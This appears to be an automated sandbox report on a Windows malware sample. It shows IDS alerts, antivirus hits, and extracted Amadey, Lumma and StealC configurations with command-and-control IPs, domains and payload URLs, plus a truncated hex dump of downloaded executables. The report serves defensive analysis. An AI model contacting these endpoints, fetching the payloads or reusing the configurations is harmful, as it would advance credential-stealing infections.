ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:41.203474+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49949	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:42.675774+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49949	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:41.327843+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49949	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:36.261400+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49937	188.114.97.3	443	TCP
2024-11-21T14:12:10.897049+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50080	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:40.283765+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49949	185.215.113.206	80	TCP
2024-11-21T14:12:16.497487+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50084	185.215.113.206	80	TCP
2024-11-21T14:12:41.291527+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50114	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:06.386189+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49864	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:20.741635+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49871	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:11.058067+0100	2803305	3	Unknown Traffic	192.168.2.6	49876	31.41.244.11	80	TCP
2024-11-21T14:11:23.649522+0100	2803305	3	Unknown Traffic	192.168.2.6	49905	185.215.113.16	80	TCP
2024-11-21T14:11:32.066804+0100	2803305	3	Unknown Traffic	192.168.2.6	49927	185.215.113.16	80	TCP
2024-11-21T14:11:40.890220+0100	2803305	3	Unknown Traffic	192.168.2.6	49953	185.215.113.16	80	TCP
2024-11-21T14:11:48.760572+0100	2803305	3	Unknown Traffic	192.168.2.6	49976	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:43.436986+0100	2803304	3	Unknown Traffic	192.168.2.6	49949	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://cook-rain.sbs/apiup	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/api?	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe3f	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/F	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exen	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php----AAKEGIJEHJDGDHJKJKKJogon.exe	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apis/	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/2	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php%	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/e	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/l	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/b	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/Z	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000003.2173757368.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 48f66b117f.exe.1408.16.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "p3ar11fter.sbs", "processhol.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: 643ebf15b8.exe.5412.15.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_199aee4f-6

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50127 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0082DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	17_2_0082DBBE
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007FC2A2 FindFirstFileExW,	17_2_007FC2A2
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_008368EE FindFirstFileW,FindClose,	17_2_008368EE
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0083698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	17_2_0083698F
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0082D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_0082D076
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0082D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_0082D3A9
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00839642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_00839642
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0083979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0083979D
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00839B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	17_2_00839B2B
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00835C97 FindFirstFileW,FindNextFileW,FindClose,	17_2_00835C97

Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 27MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49864 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49871
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49902 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49923 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49921 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057730 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs) : 192.168.2.6:65075 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49930 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49937 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49945 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49954 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49947 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49949 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49949 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49949
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49949 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49949
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49961 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49949 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49966 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49969 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49970 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:49988 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49974 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49993 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:50002 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:50017 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50027 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:50041 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50063 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:50064 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:50080 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.6:50082 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50084 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50114 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49923 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49923 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49937 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49988 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49988 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49966 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49966 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49930 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49930 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50080 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50082 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 34

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 13:11:10 GMTContent-Type: application/octet-streamContent-Length: 4406272Last-Modified: Thu, 21 Nov 2024 10:52:35 GMTConnection: keep-aliveETag: "673f10f3-433c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 50 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c5 00 00 04 00 00 dc db 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 39 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 39 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 64 62 66 63 78 73 77 00 90 1b 00 00 b0 a9 00 00 8a 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 70 72 77 6e 77 6f 69 00 10 00 00 00 40 c5 00 00 04 00 00 00 16 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 c5 00 00 22 00 00 00 1a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 13:11:23 GMTContent-Type: application/octet-streamContent-Length: 1841152Last-Modified: Thu, 21 Nov 2024 13:00:34 GMTConnection: keep-aliveETag: "673f2ef2-1c1800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 04 24 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 16 04 00 00 be 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 43 46 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 66 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 